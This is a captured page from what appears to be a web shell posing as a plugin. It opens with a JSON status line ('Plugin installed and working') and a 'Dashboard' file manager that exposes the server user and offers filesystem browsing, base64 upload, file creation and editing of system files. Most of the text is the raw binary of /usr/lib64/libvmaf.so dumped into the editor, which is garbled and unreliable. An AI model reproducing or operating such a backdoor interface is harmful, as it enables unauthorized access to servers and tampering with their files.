{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-21 21:38:02"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Flib64">lib64</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Flib64" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: libvmaf.so.1.1.2</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/lib64/libvmaf.so.1.1.2">
                    <textarea name="edit_content">ELF          &gt;    ��      @       `�         @ 8 	 @                                  �       �                    �       �       �      MJ     MJ                   �      �      �      �       �                   �x     Ј     Ј     DM     �M                  �     �     �                                8      8      8      $       $              P�td                     �	      �	             Q�td                                                  R�td   �x     Ј     Ј     0      0                      GNU �3\�qc���TW�D�p�ȝ    �   �            P@ !Д��@���@B,�6�  C��  Ȑ�,$��B�� ���@ @  D�!   � A� � A0  �  A!bdN � A&amp; %���A�Ad6o�����`�15! �  � �a ��zP�� (( � �   D ��@�JU	 `   @�    $( � A` Jd� &quot;` 	(P a`@    � @`�i��E �D,�               �           �   �       �   �       �   �       �   �       �   �   �   �   �   �   �   �   �   �   �   �           �   �   �   �   �   �   �       �   �   �   �   �   �   �   �   �               �   �   �   �   �   �   �           �       �           �   �       �   �   �           �   �   �       �   �   �   �   �           �   �   �       �   �           �       �   �   �   �           �   �   �   �                	  
                                             &quot;      $  )      *  +  ,          .      1      2  3          6      9  :  ;  &lt;  &gt;      ?  @  B  E  F      G      H      I  K  L  M          N  P      R  T  U  V  W  X  Y  Z  [  \      ]  ^          _  a          c  e  g  i  ��*�|��y+��W=].\_-�NĄ̃�v�����z��e�ĥR�M�x��&lt;�ԙ��yZ����GpbG�2[�d9�37]�!��!jM��}��I:�k5,��9!����}b�O�A�\(-%�r8�ؒ����rEI��ĥ��a����\:���&quot;lfUk��&#039;���.���Mk��n�X&lt;��n��t&lt;�{�M({����ߨ���\�r/b.,,�]��?��ݒ꓈���:��͋W�Y�IKB;���Ы��$�����v&lt;kӔ��1m��_e�v..�p��+�Z�W����o�����O(�����r��)�|w�ED��pc��m3�n����C��r�B_sB�Z�5��fa��|���0���_~������MSJ:�Uǃ�{�|e8�V�M����y��Q��c�uկ �g �N��5� iOM���cCb�%���˵��! =;䔁`��[�1k	 ��.�BESW2�u�uQ� ;��,	�@ {oa,,�=H��d��=iA���	�u���&lt;�w���0��ڦ���s��u��?�M]^XpI-��L�һ�:�c D��s5�Z.@yt4X2�h�o.7�5��#5�ň��,������{cf��{Z�nM��r�;O\�o�^�w&lt;/���W��á����\� ��FYA&quot;�, �+��4΍��|��y�,;9릈N���E�?�L:еr|��S��q����;�NR�]�+\�G��n��:��1`�ޠz k�ǆb�6��#1:^��&lt;x��-ǵF%��;~�(O��6���a�)�=\sߵ&lt;��S��� �5&gt;O���A\E&#039;Y�H��9:������Ǘ̧�|�+�u�\-~�(]���q����@ ���9Ȕr9Em��iO�B���ܞ�7��                        �                     w                     \                                          �                     �                     j                     �                     �                                          �                     9                     q                     W                     U                     �                     �                     �                     �                     7                     O                     F   &quot;                   h                     �                     �                                          �                     :                     v                     1                     8                     �                     �                     V                                                               �                     Z                     �                     o                     �                     
                     t                     �                     :                     O                     �                     v                     5                     b                     +                     �                     �                     [                                          ;                                                               �                     R                     �                     -                     &quot;                     �                     *                     �                                          �                     .                                          Q                     �                     �                                          _                     d                     z	                     �                     �                     �                     3                     �                     �                     �                                                                )                                          i                     d                     �                     i                     �                     �                     �                     q                     �                     )                     a                     �                     �                     �                     %                     �                     �                     )                     �                                            �                     �                     �                     �                     �                     �                     �                     �                     �                                                                    &quot;                   P                     ,                       D                     �                     k                     �                     �                     �    ��     �       -    �^            �    Q     �       v    8     G      �    0�     �       �    ��     {       �    0.     �       �    0     Q      �    ��      ^       �    �=     �      o	    ��                ��     �      G    ��     8I      B
    �            �    0p     �      �    �a     ,      H    0�     �      0    �     K      �    `3               ��     P           �/           �    ��     3       {    @�             �    ��     8       3    p�     d      �    �n     8      &gt;    �z     c      &lt;    �~            {    �/     &gt;      L    ��           �    �!           Y    ��      0       =    `�     P       �    �q     m       �    �l     )      [    P�            �	    ��                �5     a       z    `�             $    0�      �      (
     �     	       �    �|            �	    ��            \    �&#039;               �      �           ��     �       �    p4     L       $    p~            h    `P     X      �    ��      *      n    @�     Y       �    �?     .      �     �     �       �    �N     �       U    ��      *       �    �x            Y    �r     k       7    p�     b      �    �     �       �    @X           �    0�            �    �p     �       U     �      &#039;       �    0�      g       +    `o     I       �    0D                ��           �
    ��            �    �v     �       �    0�      ]       �     �      l            ��      F       �    @�     �       �     `�      �      7    ��             �    �4     �       j
     �     ~Y      �    `�      �      �    ��     P       �    �4     &amp;           �           e    �K     &gt;       9    �^            �    �.     �       �    P     �       �	    (�            O    @�      y            �             �     v     �       &quot;	    �Q     �       �	    `�            b    0     �/      �    А     m           �|     �      K    0G     T       �    A           �	    ��            #    �      �           PU            �    `f     ]      �    �     �      w    �           �
     F     3=     j    0|     ^       @    �            �    �O     v       !    P�           �    ��     �      �    ��             �      �      �       �    `�     P       
    ��     #           ��     P           �            �    @�     =       �    ��      @       2    �^     0       9    0�            �    ��             �     x     �       ~    ��      b      I    �o     	       j    01     �       �    �S     �       �    pT     �       {    ��     &amp;           �x     �      N    ��     T      �    �|     q       &gt;    �^     1       C    �0     R       m    Ps     �            �                `�      R      h    �      0       �    P�      J       �     �     P       x     0�      �      �    �b     7       f     �            I    @�     	       &lt;    ��      �      1     �      �      �    �b     /       �    @3            �    0�     �           �D           a    ��     =       �    п             �    ��            T    ��      �
      �    0�      �      Q     |     	           ��     B       =	    �R     v       �
    T�            �     �     P       �    �Q     �       �    ��     I       j    `�     6           `�     �J          �     !      �     �     �%      �	    @�            �     c     &gt;      P    �     8       �    0�      ]       �    ��      �       [    �_     A       �    Є            k    ��      *       K    0_     �       W    @8     y           @r     �       �    ��            B    0�             �    Ѕ     �           �;           5    @�     ?      �    0L     �      �    ��     �       �    �      K      V    �o     3       �    ��      �       t     p     �       #    �E     -      �
     F            i    0`     �       �    @w     �       6     �     �       [    ��     $      5
    P�            �	    ��            �    p�      h       �    �Q     C      0    �z     0       *    �            b	    0S           �    @5           �    `F     �      �    �|            �      �      [      )     6     �       �    �R     �       �    p�     �       O    �~     s      �    ��     �       N    �^            A    `^            N
     �            �    �     �       %    �     1       �    ��      �      R    	     |      �    �=     .       x    �`     �       H    ��             �    �x     	           �u     �      +    ��     P       �    P}     #       &quot;    `U            {    �|     	       :     7     3      �    2     (      �    x�     8       �    ��     .           @�     P       �    �2     P       �
    ��     ?L      �    �            �    ��      @       �    �}     �          p�             �    P�             __gmon_start__ _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable __cxa_finalize _ZNK6Kernel18kernel_precomputedEii _ZN6Solver18select_working_setERiS0_ _ZN6Solver13calculate_rhoEv _ZN9Solver_NU18select_working_setERiS0_ _ZN9Solver_NU13calculate_rhoEv strcmp stdout fputs fflush __vsprintf_chk __stack_chk_fail _ZdlPv vmaf_version vmaf_model_generate_name strlen calloc strncpy vmaf_model_collection_append realloc _ZN5CacheC2Eil _ZN5CacheC1Eil _ZN5CacheD2Ev _ZN5CacheD1Ev _ZN5Cache10lru_deleteEPNS_6head_tE _ZN5Cache10lru_insertEPNS_6head_tE _ZN5Cache8get_dataEiPPfi _ZN5Cache10swap_indexEii _ZN6KernelD2Ev _ZdaPv _ZN6KernelD1Ev _ZN6KernelD0Ev _ZN6Kernel3dotEPK8svm_nodeS2_ _ZNK6Kernel13kernel_linearEii _ZNK6Kernel11kernel_polyEii _ZNK6Kernel10kernel_rbfEii exp _ZNK6Kernel14kernel_sigmoidEii tanh _ZN6KernelC2EiPKP8svm_nodeRK13svm_parameter _ZTV6Kernel _Znam memcpy __cxa_throw_bad_array_new_length _ZN6KernelC1EiPKP8svm_nodeRK13svm_parameter _Znwm __gcc_personality_v0 _Unwind_Resume _ZN6Kernel10k_functionEPK8svm_nodeS2_RK13svm_parameter _ZN6Solver10swap_indexEii _ZN6Solver20reconstruct_gradientEv _ZN6Solver5SolveEiRK7QMatrixPKdPKaPddddPNS_12SolutionInfoEi stderr __fprintf_chk _ZTV6Solver _ZTV9Solver_NU memset _ZN6Solver9be_shrunkEidd _ZN6Solver12do_shrinkingEv _ZN9Solver_NU9be_shrunkEidddd _ZN9Solver_NU12do_shrinkingEv svm_get_svm_type svm_get_nr_class svm_get_labels svm_get_sv_indices svm_get_nr_sv svm_get_svr_probability svm_predict_values svm_predict svm_predict_probability svm_save_model fopen64 setlocale strdup ferror fclose svm_free_model_content svm_free_and_destroy_model svm_destroy_param svm_train svm_cross_validation rand sqrt svm_check_parameter svm_check_probability_model svm_set_print_string_function vmaf_init vmaf_close vmaf_import_feature_score vmaf_model_destroy vmaf_model_collection_destroy vmaf_use_feature vmaf_use_features_from_model vmaf_use_features_from_model_collection vmaf_read_pictures vmaf_feature_score_at_index vmaf_feature_score_pooled vmaf_write_output vmaf_predict_score_at_index strtod vmaf_score_at_index vmaf_score_pooled vmaf_predict_score_at_index_model_collection qsort __snprintf_chk vmaf_score_at_index_model_collection vmaf_score_pooled_model_collection vmaf_model_load vmaf_model_load_from_path strrchr vmaf_model_feature_overload vmaf_model_collection_feature_overload vmaf_model_collection_load vmaf_model_collection_load_from_path compute_vmaf _ZTS5SVR_Q _ZTVN10__cxxabiv120__si_class_type_infoE _ZTI6Kernel _ZTS11ONE_CLASS_Q _ZTS5SVC_Q _ZTS9Solver_NU _ZTI9Solver_NU _ZTI6Solver _ZTS6Solver _ZTVN10__cxxabiv117__class_type_infoE _ZTS7QMatrix _ZTI7QMatrix _ZTS6Kernel src_vmaf_4k_v0_6_1_json_len src_vmaf_4k_v0_6_1_json src_vmaf_v0_6_1neg_json_len src_vmaf_v0_6_1neg_json src_vmaf_b_v0_6_3_json_len src_vmaf_b_v0_6_3_json src_vmaf_v0_6_1_json_len src_vmaf_v0_6_1_json __cxa_pure_virtual memmove _ZSt20__throw_length_errorPKc pthread_mutex_unlock pthread_mutex_lock pthread_cond_signal pthread_cond_wait fgetc ungetc strchr _ZTVNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEEE _ZTVSt15basic_streambufIcSt11char_traitsIcEE _ZNSt6localeD1Ev aligned_malloc posix_memalign aligned_free feature_extractor_vector_init vmaf_thread_pool_create pthread_mutex_init pthread_cond_init pthread_create pthread_detach vmaf_thread_pool_enqueue pthread_cond_broadcast vmaf_thread_pool_wait vmaf_thread_pool_destroy pthread_mutex_destroy pthread_cond_destroy vmaf_dictionary_get vmaf_dictionary_set strtof vmaf_dictionary_copy vmaf_dictionary_free vmaf_dictionary_merge vmaf_dictionary_compare vmaf_feature_dictionary_set vmaf_feature_dictionary_free vmaf_option_set strtol vmaf_ref_init vmaf_picture_alloc vmaf_ref_fetch_increment vmaf_picture_ref vmaf_ref_fetch_decrement vmaf_ref_load vmaf_ref_close vmaf_picture_unref json_isspace json_next json_peek json_reset json_skip json_skip_until json_get_string json_get_number json_get_error json_get_lineno json_get_position json_get_depth json_get_context json_source_get json_source_peek json_open_buffer json_open_string json_open_stream json_open_user json_set_allocator json_set_streaming json_close vmaf_set_log_level fileno isatty vmaf_log __vfprintf_chk svm_load_model _ZNSt8ios_baseC2Ev _ZTVSt9basic_iosIcSt11char_traitsIcEE _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE _ZNSt9basic_iosIcSt11char_traitsIcEE4initEPSt15basic_streambufIcS1_E _ZTVSt14basic_ifstreamIcSt11char_traitsIcEE _ZNSt13basic_filebufIcSt11char_traitsIcEEC1Ev _ZNSt13basic_filebufIcSt11char_traitsIcEE4openEPKcSt13_Ios_Openmode _ZNSt9basic_iosIcSt11char_traitsIcEE5clearESt12_Ios_Iostate _ZNSt8ios_base7_M_moveERS_ _ZNSt9basic_iosIcSt11char_traitsIcEE15_M_cache_localeERKSt6locale _ZNSt13basic_filebufIcSt11char_traitsIcEEC1EOS2_ _ZTVSt13basic_filebufIcSt11char_traitsIcEE _ZNSt13basic_filebufIcSt11char_traitsIcEE5closeEv _ZNSt12__basic_fileIcED1Ev _ZNSt8ios_baseD2Ev _ZNSi4readEPcl _ZNSi6ignoreEli _ZNSirsERi __cxa_allocate_exception _ZNSt13runtime_errorC1EPKc _ZNSt13runtime_errorD1Ev _ZTISt13runtime_error __cxa_throw _ZNSi10_M_extractIdEERSiRT_ _ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RNSt7__cxx1112basic_stringIS4_S5_T1_EES4_ _ZTTNSt7__cxx1119basic_istringstreamIcSt11char_traitsIcESaIcEEE _ZTVNSt7__cxx1119basic_istringstreamIcSt11char_traitsIcESaIcEEE _ZNSt6localeC1Ev _ZNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEE7_M_syncEPcmm _ZNKSt5ctypeIcE13_M_widen_initEv _ZSt16__throw_bad_castv __gxx_personality_v0 __cxa_free_exception __cxa_begin_catch __cxa_end_catch _ZNSt13basic_filebufIcSt11char_traitsIcEED1Ev _ZNSt14basic_ifstreamIcSt11char_traitsIcEED1Ev _ZNSt7__cxx1119basic_istringstreamIcSt11char_traitsIcESaIcEED1Ev svm_parse_model_from_buffer _ZNSt15basic_streambufIcSt11char_traitsIcEEC2ERKS2_ _ZNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEE8_M_pbumpEPcS5_l _ZNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEE14__xfer_bufptrsD1Ev vmaf_write_output_csv vmaf_write_output_sub vmaf_write_output_xml vmaf_write_output_json feature_extractor_vector_append feature_extractor_vector_destroy vmaf_read_json_model_from_buffer vmaf_read_json_model_from_path __sprintf_chk vmaf_read_json_model_collection_from_path vmaf_read_json_model_collection_from_buffer convolution_f32_avx_s_1d convolution_f32_avx_s vif_filter1d_8_avx2 vif_filter1d_16_avx2 vif_filter1d_rd_8_avx2 vif_filter1d_rd_16_avx2 adm_dwt2_8_avx2 log10 pow log2 powf picture_copy_hbd picture_copy vmaf_get_feature_extractor_by_name vmaf_fex_float_ms_ssim vmaf_get_feature_extractor_by_feature_name vmaf_feature_extractor_context_init vmaf_feature_extractor_context_flush vmaf_feature_extractor_context_close vmaf_fex_ctx_pool_create vmaf_fex_ctx_pool_flush vmaf_use_vmafossexec_aliases vmaf_feature_name_alias vmaf_feature_name integer_compute_adm convolution_f32_avx_s_1d_sq convolution_f32_avx_sq_s convolution_f32_avx_s_1d_xy convolution_f32_avx_xy_s x_convolution_16_avx2 vmaf_fex_ctx_parse_options vmaf_feature_extractor_context_create vmaf_feature_extractor_context_extract vmaf_feature_extractor_context_destroy vmaf_fex_ctx_pool_destroy vmaf_fex_ctx_pool_aquire vmaf_fex_ctx_pool_release vmaf_fex_cambi vmaf_fex_integer_vif vmaf_fex_integer_motion vmaf_fex_integer_adm vmaf_fex_ciede vmaf_fex_float_ssim vmaf_fex_psnr_hvs vmaf_fex_psnr KBND_SYMMETRIC __assert_fail vmaf_feature_collector_set_aggregate strnlen vmaf_feature_collector_get_aggregate vmaf_feature_collector_init vmaf_feature_collector_get_score vmaf_feature_collector_destroy vmaf_floorn vmaf_ceiln _max _round _min _ms_ssim_map _ms_ssim_reduce _free_buffers _alloc_buffers _cmp_float _matrix_cmp KBND_REPLICATE KBND_CONSTANT _iqa_convolve _iqa_ssim sqrtf _iqa_filter_pixel _iqa_decimate compute_ssim __printf_chk compute_ms_ssim _iqa_img_filter vmaf_set_cpu_flags_mask vmaf_get_cpu_flags vmaf_get_cpu_flags_x86 vmaf_init_cpu _ZSt19__throw_logic_errorPKc memcmp log2f roundf vmaf_feature_collector_append clock atan2 sin cos vmaf_feature_collector_append_templated libsvm_version libstdc++.so.6 libm.so.6 libgcc_s.so.1 libc.so.6 libvmaf.so.1 GCC_3.0 GCC_3.3.1 GLIBC_2.27 GLIBC_2.29 GLIBC_2.2.5 CXXABI_1.3.8 GLIBCXX_3.4.11 GLIBCXX_3.4.9 CXXABI_1.3 GLIBCXX_3.4.21 GLIBCXX_3.4 GLIBC_2.4 GLIBC_2.14 GLIBC_2.34 GLIBC_2.3.2 GLIBC_2.3.4                       	     	             
   	   	                                	                      	    	  	                 	                                                                                                                                                                                                                                                        &#039;     0   P&amp;y   L     a_&amp;	   T             @   ���   ^     ���   i     ui	   t             p   xѯ   �     a��   �     �)  
 �     ӯk  	 �     q��   �     t)�   �        5         ii   �     ���   �     ���   �     ui	   t     ri	   �     ti	   �      Ј            Ь      ؈            ��      �            �      �            �     �            
�     �            �     �            �      �            !�     @�            -�     H�            3�     P�            :�     X�            D�     `�            P�     x�            �     ��            ��      ��            p�      ��            �      ��            @�      ��            ��      ��            ��     ��            �      ��             �      ȉ            �      Љ            ��      ؉            ��      �            �     �             �      ��            �       �            p�      �            ��      �             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�        q           (�        4          0�        r           8�        s           @�        t           H�        *          P�        u           X�        J          `�        �           h�        v           p�        �           x�                  ��        y           ��        �           ��        {           ��        X          ��        (          ��        h          ��        �           ��        �           ��                   Ȟ        �                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ��H��H�� H��t��H���     �5� �%� @ �%� h    ����%� h   �����%� h   ����%� h   ����%� h   ����%� h   ����%� h   ����%� h   �p����%� h   �`����%� h	   �P����%� h
   �@����%� h   �0����%� h   � ����%� h   �����%� h   � ����%z h   ���%r h   ����%j h   �����%b h   ����%Z h   ����%R h   ����%J h   ����%B h   ����%: h   �p����%2 h   �`����%* h   �P����%&quot; h   �@����% h   �0����% h   � ����%
 h   �����% h   � ����%� h   ���%� h    ����%� h!   �����%� h&quot;   ����%� h#   ����%� h$   ����%� h%   ����%� h&amp;   ����%� h&#039;   �p����%� h(   �`����%� h)   �P����%� h*   �@����%� h+   �0����%� h,   � ����%� h-   �����%� h.   � ����%z h/   ���%r h0   ����%j h1   �����%b h2   ����%Z h3   ����%R h4   ����%J h5   ����%B h6   ����%: h7   �p����%2 h8   �`����%* h9   �P����%&quot; h:   �@����% h;   �0����% h&lt;   � ����%
 h=   �����% h&gt;   � ����%� h?   ���%� h@   ����%� hA   �����%� hB   ����%� hC   ����%� hD   ����%� hE   ����%� hF   ����%� hG   �p����%� hH   �`����%� hI   �P����%� hJ   �@����%� hK   �0����%� hL   � ����%� hM   �����%� hN   � ����%z hO   ���%r hP   ����%j hQ   �����%b hR   ����%Z hS   ����%R hT   ����%J hU   ����%B hV   ����%: hW   �p����%2 hX   �`����%* hY   �P����%&quot; hZ   �@����% h[   �0����% h\   � ����%
 h]   �����% h^   � ����%� h_   ���%� h`   ����%� ha   �����%� hb   ����%� hc   ����%� hd   ����%� he   ����%� hf   ����%� hg   �p����%� hh   �`����%� hi   �P����%� hj   �@����%� hk   �0����%� hl   � ����%� hm   �����%� hn   � ����%z ho   ���%r hp   ����%j hq   �����%b hr   ����%Z hs   ����%R ht   ����%J hu   ����%B hv   ����%: hw   �p����%2 hx   �`����%* hy   �P����%&quot; hz   �@����% h{   �0����% h|   � ����%
 h}   �����% h~   � ����%� h   ���%� h�   ����%� h�   �����%� h�   ����%� h�   ����%� h�   ����%� h�   ����%� h�   ����%� h�   �p����%� h�   �`����%� h�   �P����%� h�   �@����%� h�   �0����%� h�   � ����%� h�   �����%� h�   � ����%z h�   ���%r h�   ����%j h�   �����%b h�   ����%Z h�   ����%R h�   ����%J h�   ����%B h�   ����%: h�   �p����%2 h�   �`����%* h�   �P����%&quot; h�   �@����% h�   �0����% h�   � ����%
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^ L��L�D$�)� L�D$����  H��] L��L��L�D$�� ������L��$�  Mcl$hJ�&lt;�    �
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��H�H�R�D �Y��H�|$���H�D$ 1�1�f��$  H��$(  H��
 HǄ$       H�HH�xHǄ$      HǄ$      H�A�H��$�   HǄ$       HǄ$(      H�|$0H���   HǄ$�       H�y�H�L$(H����H�
 H�|$HǄ$�       HǄ$�       HǄ$�       H��H��$�   H��	 HǄ$�       HǄ$�       H��@H��$(  H��	 HǄ$�       H��H��$�   �
��H�|
 H��$�   H��$  H��$�   Ǆ$       H��H��$�   H�H��$  H�D$8H��$  �� H��$  H�&lt;$1�1�Ǆ$      �@��H�4$H�|$���H��$�  H�D$1ۃzhL�$�    ~@D  H�BxH��H�4�L�����H�H�R�D �Y��H��$�  H���Bh��9�ŋ�$H  L�d$`��t&#039;�   foD$`��$H  H��F�H�t$x����   L��H������H�H�R�D uu�:   �   H���3���H�H�R�D �H  L��H���6���H�H�R�D ����H�t$xH;�$�   �q���L��L�������$H  ���y����    �D$`����H�t$xH�D$h    H;�$�   ��  foL$`H��N�H�t$xH�� H��$  H��H��$�   H�� H��@H��$(  H�t H��H��$�   H;|$8t���H�� H�|$H��H��$�   ���H�D$(H�L$0H�|$H��$�   H�@�H���   H�D$ HǄ$�       H��$(  �.���L��$�  H�D$H�D$A9D$l���H�l$pL�l$xI)�L���;��H��L��H��H���*���Ic|$lH�����L��H��I�D$pt&lt;1�@ H��H��Hك9�H�tfD  H��H��H���&lt;�u�H��H��H9�r�AǄ$�      H�����H��$�   H;|$Pt���L��$�  HǄ$�      H�w H�|$XH��H��$�  H�_ H��@H��$�  H�� H��H��$�  �#���H��$@  �V��H� H��$  H��H��$�  ���H�� H�|$HH�� H�@H�QH��$�  H�@�H���  H�x HǄ$�      H��H��$�  ���H��$�  dH+%(   ��  H���  L��[]A\A]A^A_��    L������I�$�
   L��P0���@����L�d$`L��L������R��� �
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��f�     H��$�  L��H�pl���H�H�R�D �����   �`���H�5�Q H��I���n����2��f�     �w ������g�L�l$(L��$�  J�&lt;�    ����M��L�D$I��$�   H�����E1��%�    �   L���f���I��H��L9d$(�}���H��L���h���H�H�R�D �.
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  H���&amp;���{ A��u-H��$�   dH+%(   �  H�İ   D��[]A\A]A^� ��$�   D��H�5�1  H������D��H�5�1  H����$�   �����D��H�5�1  H����$�   	�D	����D��H�5�1  H����$�   	��{��D��H�5�1  H����$�   	��^���D$PD��H��H�5�1  	��D���D$XD��H��H�5�1  	��*���D$`D��H��H�5�1  	�����D$hD��H��H�5�1  	�����D$pD��H��H�5�1  	������D$ D��H��H�5�1  	������D$(D��H��H�5�1  	�����D$0D��H��H�5�1  	�����D$8D��H��H�5�1  	��t���D$@D��H��H�5�1  	��Z��	�A���3�����  �K �\��L$f(��$蛹���L$�$�Y�=  f/�w�L$f(����� f(��g�����=  �Y����4���@ I�����I���A� A�XA�HA�PL��Ð���H�� H	��   ��H��H���                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   min harmonic_mean yuv420p yuv422p yuv444p yuv420p10le yuv420p12le yuv420p16le yuv422p10le yuv444p10le 2.3.0 * C = %f
 nu = %f
 epsilon = %f
 obj = %f, rho = %f
 nSV = %d, nBSV = %d
 w C svm_type %s
 kernel_type %s
 degree %d
 gamma %.17g
 coef0 %.17g
 nr_class %d
 total_sv %d
  %.17g  %d SV
 %.17g  0:%d  %d:%.8g  Total nSV = %d
 unknown svm type unknown kernel type gamma &lt; 0 cache_size &lt;= 0 eps &lt;= 0 C &lt;= 0 nu &lt;= 0 or nu &gt; 1 p &lt; 0 specified nu is infeasible could not open file: %s
 %s%s _bagging _stddev _ci_p95_lo _ci_p95_hi vmaf_v0.6.1 no such built-in model: &quot;%s&quot;
 .pkl vmaf false enable_chroma float_ssim float_ms_ssim problem during read_frame
 problem reading pictures
 problem flushing context
 json csv sub use default log_fmt xml could not write output: %s
 linear polynomial rbf sigmoid precomputed c_svc nu_svc one_class epsilon_svr nu_svr vmaf_b_v0.6.3 vmaf_v0.6.1neg vmaf_4k_v0.6.1      `���� �p�D�T�����$������������H���5SVR_Q      11ONE_CLASS_Q 5SVC_Q    9Solver_NU      6Solver 7QMatrix        6Kernel 
WARNING: using -h 0 may be faster
     
WARNING: reaching max number of iterations
    
optimization finished, #iter = %d
     Model doesn&#039;t contain information for SVR probability inference
        Exceeds max_iter in multiclass_prob
    Prob. model for test data: target value = predicted value + z,
z: Laplace distribution e^(-|z|/sigma)/(2sigma),sigma= %g
       WARNING: training data in only one class. See README for details.
      WARNING: class label %d specified in weight is not found
       Line search fails in two-class probability estimates
   Reaching maximal iterations in two-class probability estimates
 WARNING: # folds &gt; # data. Will use # folds = # data instead (i.e., leave-one-out cross validation)
    degree of polynomial kernel &lt; 0 shrinking != 0 and shrinking != 1       probability != 0 and probability != 1   one-class SVM probability output not supported yet      could not initialize feature extractor &quot;%s&quot;
    could not read model from path: &quot;%s&quot;
   support for pkl model files has been removed, use json
 no such built-in model collection: &quot;%s&quot;
        could not read model collection from path: &quot;%s&quot;
        `compute_vmaf()` is deprecated and will be removed in a future libvmaf version
 problem initializing VMAF context
      problem loading model file: %s
 problem loading feature extractors from model file: %s
 problem loading feature extractor: psnr
        problem loading feature extractor: ssim
        problem loading feature extractor: ms_ssim
     problem allocating picture memory
      problem generating pooled VMAF score
